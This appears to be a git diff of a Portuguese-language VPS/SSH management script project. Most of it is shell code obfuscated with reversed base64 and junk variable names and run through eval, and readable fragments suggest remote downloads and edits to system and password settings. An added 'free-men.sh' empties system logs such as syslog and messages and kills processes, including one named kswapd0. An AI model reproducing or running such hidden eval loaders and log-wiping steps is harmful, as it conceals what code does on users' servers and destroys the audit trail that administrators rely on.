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 | r";farhDTPtzWFzOTYZfbaozszWeNWdITRuFqWwxoDwZuTcfAeLLPbgZWyNObtZxwvtFSuwfPGFWRYEUqLiWHzDlMourNhRvEWhfsKc="paZtKlLEUrKmhmbHdvhGCjStKEnatfaGMofTHpkmJQfzbZLXLvkImMPkcXTaGjkFEexvYVnmVYhkPOsWsDQhpCNrPXtEsUUGmmJY";xEOUGvlacIlKAsidfBhQBfUDJNywtzsxLgMhGFzXhpzMJYlralIkMLIredFNVLrqsqMfOgNVnhliJCJUcYrQPNaxdtOUwLiFWAca="";UekqBDhheSoyXJuiMwwzbbZWWZDpnnTLBhookYHXuIrgKcukOsKHAHMuPmswbrhsqRSPyVKxHTIcwNSLbuSEooaxjPsszflXiTUj="as";ksFvBfkriGMVvCYjUgvyoqxtaFulqzlVdGTpvwaMQEGNDcqLdNlPLWETDvWKDtlzygLeIDqIakWNEQcvSspbvLMONpBHYpONphLQ="bnWNElvVylUAGtVfefiWFoUIKLnBYIkDlfKUolCCuYBiJMahhLXFcjICHbbxWkXFAoxhUNnuouUVgnONEqqvhvibmRitsYvftnkE";dBpdVvmrHeBqHpNfGBnyMjzCLOgDQORwtoldCzyxuSJBLCdHjfudvxOrljwbSSkarRdTeFocCfiYZjiIDeujTLWOhEvNVUidDItV="pZqeuEhoZrHnriDcjnEWgqajHOCzHpiETegryCbvcKOwCPoxfSFfKikFmPJCnkEBAgDKgegEesyjPGzGOeAuBCRnbdTQRjfrkOWm";LtwgmhUbNrpxajkjLgbXdvieOdFZqmqlhnqkGgBDTcJlextoEBaDCWHpHryCUpXQsuDVLdrvRSARXSlfFEqMsresBUNwXddWBxIt="o";qPkekkEZNZLZxbGTMrzWtGxdDNeoRuAZOoKstaEDgtRPjAZGYdrEBPolmESLspYFcjCxgTyJdifkOMupkFoglrcMIDqULRTptBIr="6";dtcCRFgNaiqmgOirUkuVFLhLhQTMNSVXGciRrPwArzqZMYTcFDOkwTCMWidjMlCuHDfgDtoZnXgSgxEimfqFaFCtHWkMsICRHHMl="wNzoVsemAOwRTAHbFjKqeLeeecvZwhWWBDEoqkNMCNmWIynIiifwHGVSJVtPyCqGMNHBvJNcWXlwrDjKCATmbPizuKLEDXfXSTpd";bUlTpoHBXNXnodjMFpbuKkJJldZNYMHDsBNbZogptkoaWRmZxDxArRwyFRUruvLaJsCFKdosSrwpMitBkTPsZDNiLbNEawMDyYlx=" -d";xqactgkeIGAPVvzbPEUnrmlZaICynYIOgKNSbbKMQIEpKvqjnFcaXnxxCpifVCZymdwaWEqBRbmkVEWHdleroFCuAjgWuFDtDSfN="FrIstqncEsvYqhXoyuLWxWMYgUQAIsZUourxMQsuxWswRrybIMkgxcczMyYvvHjzkMwosFSQDZvFZBsLrVluzrNylISDIfqNTrzt";LfJFEhJAEVxftmwzXpDaWbEjfNjWpXsBkWSReAVIFwsjGAhDzoNduBYfwwMxflBMNscMEuGkIYyDfcOkAxiGWBzjlCauXBmYlDvX="";mrZIkFbjpXDooPaxxbZXISFaPKusktQFIHdkaLBdAujHrSXcdnLPBiCwhZwjzZcCIHjSEmXlGfbSlxBDTuUXPQbzOIJqWbmzoZfF="b";yiJdVifHdNvZAQcdUYiMgbdOspMFxfKwbiqJAnferOEVORDZXicMGOTrrZVTAQzVRqUHQUwtZMCtusHRUrcDyQOeFwhSZenzeQwN="e";qqAvvuqvoBcCNyDmJaUZDrCHZMkubTITSsuCCeXtzKffBCUMFRhXyqLeKfDGmvfJDxXFOMbGHlBoVIeGgXvGUBMRvnsyavxYOCuB="v |";Tx=Eds;SrzUrGfGFikterggidkUzPgQSPFTifomILOTdldjWFIXsZPZfGNXLVjliXTlsmCBbbNwbIrooRVzqDUlXPDxtEfHyzYaIkSpuaUX="";VwfeSPHJUkehXUqwUQQMZAeAJnpZUpKUTDMUJUUDGjthDCgzmSvKIdcvsofcdqwqeXigiaSdJzVLHrbzFOEhLofrRYGYMgafsKFc=$(eval "$xEOUGvlacIlKAsidfBhQBfUDJNywtzsxLgMhGFzXhpzMJYlralIkMLIredFNVLrqsqMfOgNVnhliJCJUcYrQPNaxdtOUwLiFWAca$yiJdVifHdNvZAQcdUYiMgbdOspMFxfKwbiqJAnferOEVORDZXicMGOTrrZVTAQzVRqUHQUwtZMCtusHRUrcDyQOeFwhSZenzeQwN$EtXbRZqPkPUxLGPJjFYMOBgoNwoXkozbDvlHKDCfmpuTLJgNXcNTVdiMAgCuuzdTNFZaIqLtUNtsvUtPMXfJWAqOXpLQSPcvWltt$nXougKRtZHQfuGqZgXOipkcZXPgCVMXyQZdrYKtMmSDBJMzLjErqHOgwqGnLSPjdxouYHUOYdVSnFIjovKofzwElmkBsEArqGQoI$LtwgmhUbNrpxajkjLgbXdvieOdFZqmqlhnqkGgBDTcJlextoEBaDCWHpHryCUpXQsuDVLdrvRSARXSlfFEqMsresBUNwXddWBxIt$bYtXKSLxNMhAYjPGpAQnUCYOdZLHzUUzFDaGfoKYanYPQdQmAYLAoMFEVqvPSaKJSZxAPxpOiMryZyQIXNpuDjMXHHuEzZdKjBmH$yiJdVifHdNvZAQcdUYiMgbdOspMFxfKwbiqJAnferOEVORDZXicMGOTrrZVTAQzVRqUHQUwtZMCtusHRUrcDyQOeFwhSZenzeQwN$qqAvvuqvoBcCNyDmJaUZDrCHZMkubTITSsuCCeXtzKffBCUMFRhXyqLeKfDGmvfJDxXFOMbGHlBoVIeGgXvGUBMRvnsyavxYOCuB$xEOUGvlacIlKAsidfBhQBfUDJNywtzsxLgMhGFzXhpzMJYlralIkMLIredFNVLrqsqMfOgNVnhliJCJUcYrQPNaxdtOUwLiFWAca$mrZIkFbjpXDooPaxxbZXISFaPKusktQFIHdkaLBdAujHrSXcdnLPBiCwhZwjzZcCIHjSEmXlGfbSlxBDTuUXPQbzOIJqWbmzoZfF$SrzUrGfGFikterggidkUzPgQSPFTifomILOTdldjWFIXsZPZfGNXLVjliXTlsmCBbbNwbIrooRVzqDUlXPDxtEfHyzYaIkSpuaUX$UekqBDhheSoyXJuiMwwzbbZWWZDpnnTLBhookYHXuIrgKcukOsKHAHMuPmswbrhsqRSPyVKxHTIcwNSLbuSEooaxjPsszflXiTUj$yiJdVifHdNvZAQcdUYiMgbdOspMFxfKwbiqJAnferOEVORDZXicMGOTrrZVTAQzVRqUHQUwtZMCtusHRUrcDyQOeFwhSZenzeQwN$qPkekkEZNZLZxbGTMrzWtGxdDNeoRuAZOoKstaEDgtRPjAZGYdrEBPolmESLspYFcjCxgTyJdifkOMupkFoglrcMIDqULRTptBIr$nXougKRtZHQfuGqZgXOipkcZXPgCVMXyQZdrYKtMmSDBJMzLjErqHOgwqGnLSPjdxouYHUOYdVSnFIjovKofzwElmkBsEArqGQoI$RAydfUzIiBTtpArNmxODhXKILNYQjJdEgpufniVBZdUUsZCKRwSJsnhdsUhJnEImFOvRDAIHmKAYfGmQlRhxmzkQTwgzcQNpjdZW$bUlTpoHBXNXnodjMFpbuKkJJldZNYMHDsBNbZogptkoaWRmZxDxArRwyFRUruvLaJsCFKdosSrwpMitBkTPsZDNiLbNEawMDyYlx$SrzUrGfGFikterggidkUzPgQSPFTifomILOTdldjWFIXsZPZfGNXLVjliXTlsmCBbbNwbIrooRVzqDUlXPDxtEfHyzYaIkSpuaUX");eval "$LfJFEhJAEVxftmwzXpDaWbEjfNjWpXsBkWSReAVIFwsjGAhDzoNduBYfwwMxflBMNscMEuGkIYyDfcOkAxiGWBzjlCauXBmYlDvX$VwfeSPHJUkehXUqwUQQMZAeAJnpZUpKUTDMUJUUDGjthDCgzmSvKIdcvsofcdqwqeXigiaSdJzVLHrbzFOEhLofrRYGYMgafsKFc$xEOUGvlacIlKAsidfBhQBfUDJNywtzsxLgMhGFzXhpzMJYlralIkMLIredFNVLrqsqMfOgNVnhliJCJUcYrQPNaxdtOUwLiFWAca$nXougKRtZHQfuGqZgXOipkcZXPgCVMXyQZdrYKtMmSDBJMzLjErqHOgwqGnLSPjdxouYHUOYdVSnFIjovKofzwElmkBsEArqGQoI" \ No newline at end of file diff --git a/Complementos/free-men.sh b/Complementos/free-men.sh new file mode 100644 index 0000000..eaa8629 --- /dev/null +++ b/Complementos/free-men.sh @@ -0,0 +1,21 @@ +#!/bin/sh +## 1 - "LIMPEZA DE DNS" +ip -s -s neigh flush all &> /dev/null +ip neigh flush dev $(ip route | grep default | awk '{print $5}' | head -1) &> /dev/null +## 2 - "CACHE DO SISTEMA" +echo 3 > /proc/sys/vm/drop_caches +## 2 - "LIMPAR LOGS" +echo > /var/log/messages +echo > /var/log/kern.log +echo > /var/log/daemon.log +echo > /var/log/kern.log +echo > /var/log/dpkg.log +echo > /var/log/syslog +#echo > /var/log/auth.log +echo 3 > /proc/sys/vm/drop_caches 1> /dev/null 2> /dev/null +swapoff -a && swapon -a 1> /dev/null 2> /dev/null +killall usercodes > /dev/null 2>&1 +killall ferramentas > /dev/null 2>&1 +killall menu_inst > /dev/null 2>&1 +killall kswapd0 > /dev/null 2>&1 +echo $(free -h | grep Mem | sed 's/\s\+/,/g' | cut -d , -f4) > /bin/ejecutar/raml diff --git a/Complementos/funcao.sh b/Complementos/funcao.sh new file mode 100755 index 0000000..a30a220 --- /dev/null +++ b/Complementos/funcao.sh @@ -0,0 +1,2 @@ +#!/bin/bash +XRvixPCgNOvCxsYPBmjJOlinRowwuxIWaTjPJAqxYbzDNFTOQnpzEWppbxAeQLIWODurxCZDoGokrmmDWrjyRQcjArjIMjFFCEPG="OukVpzqFAXvZDuVINZnPYWuKEynEYrtoCgZETwQKFeBRwXoEmDSvVBfmdIRXUCTebmlBIITiscXbCAbeWyIvuwSmIRmknsQRmajz";arfurcywRjhCbYmnUojYMDvxzxGugXXcpxdzkoeunfnbUkmiFFyTarqJKlgVlfSLQHOCKiNOsLfjJlfkxZgVHqSuvCZWqOcKSSXm="SvxbNvrVSWFJPllNksznJbpBgxzJwpJeaLJkjiBYdRxrCUJRJEPGtUElWcxCugdOrthVaNkTLYZxLHxfabHBypBvbpElxkDcIiUz";ZDyRqhIEXkwejhdqnDKqpbHgYGKVzbEofRtACtrwgGsiuttFFaQRzMpdJWIzxHPOegkhcKupdWZkcamietUSEwxojCvRnFCnzlIz="ch";IkuSXIYRQrLtMcHlAHHTlsIwPXPDlaLeGnSwdoutFPSTDqzDagPmjxoczhNocajpFDdDDiigeiPHrkqpNXrsgPBwJHDQKJnrtMUW="4";EFFqpyLNLUWIeSjrrVVMgFqCQYZHkwBKfxhJmMPblaZDaYhHrMdKuYoodsHOpaKnPJVRdfdcbSUCkMVhZCgXsGVtISUjmQJQlNUa="";HTFspNITtBnIAOKlerFknOphnEWTJOuLUFizgcUoOtJMlmQyPUfdBureYnGXjKwBvUmFhFOjbSIesHptSkcBnMeudLPEXUHMBDWR="TwBeqfYLrbCWtWwYThRoSZJElcoPTfjLVhOnlAZAPaJdsJKvVUJCZDZyKccLqwQDIZKnGtHKSbibzjllzCwHmzBKZRwFpoiaUJPF";HnYlkqsebudrhCKisGAuZryCQDcxoviyqSIGKtTNyMVpRmCjKLwQZqZTYlPGwdIMkFxxalRibHsisTeqsOwhmUKPclVRnrAJnlyf=" ==gCKwGb152L2VGZvAiPmAiInNXbvIXYi1yZz12LulWYt9Caj5WYyJ2L3FmcvEzakRHcpJ3Yz9SMwQWard3byR2Lt92YuEWZ0l2Zv8iOzBHd0hmIgc2ct9ycl1WYn9iczV3Lg8ULgQXZndHImYCId1FInNXbvMXZtF2ZvI3c19CIl1CIhAyWbpQYwRWarxWZvMXZtF2ZvI3c19CI4tCIk9WboNmChBHZptGbl9ycl1WYn9iczV3Lg4DIn8ifgMmcoNXYi5yLsV2az9yY0V2LgA3Yv4Wai9yJg8GajVmCm52bj5iN2BXatUGbiF2cpRWLwczLk5Cb0N2c5N3LjRXZvAiZtACctACb0N2c5NnCm52bj5iN2BXatUGbiF2cpRWLwczLk5Cb0N2c5N3LjRXZvAiPgcSMg0DI2YHcp9VZsJWYzlGZuwGbh5iZu92YuYjdwlmL0VmbnAyboNWZKAXLgwGdjNXezBiJmASM9Yjdwl2XlxmYhNXak5CbsFmLm52bj5iN2BXauQXZuBydtACb0N2c5NnCkJ3b3N3chBXLu9Wbt92YvQmLtFGcvMGdl9CI4tCIk9WboNGImYCIkJ3b3N3chBXLu9Wbt92YvQmLtFGcvMGdl9CI+AyJvNnL0lWbyVGcf1WYwBCZlJXa1FXZyBCZy92dzNXYwpwbz5SeuVGZf1WYwBSZ0l2cpVXclJHIkJ3b3N3chBnCyETNhh2cgUmc1N2ci9GIvNnL4lmb19VbhBHIdVmcv52Zp1DdsVXYmVGZgETPzNXZjNWdztFIkJ3b3N3chBnCxADZpt2dvJHZABybsVHZv1EIjcCIl1CIvh2YlpAbsVnbvYXZk9CI+YCI51CIilGbrNWYyNWLtFGcilGbgwGbhR3culGI0V2ZtQHchBCf8BSXdBSKx0CIkFWZoxnIilGbrNWYyNWLtFGcilGbiAydtACclJ3Z8Nn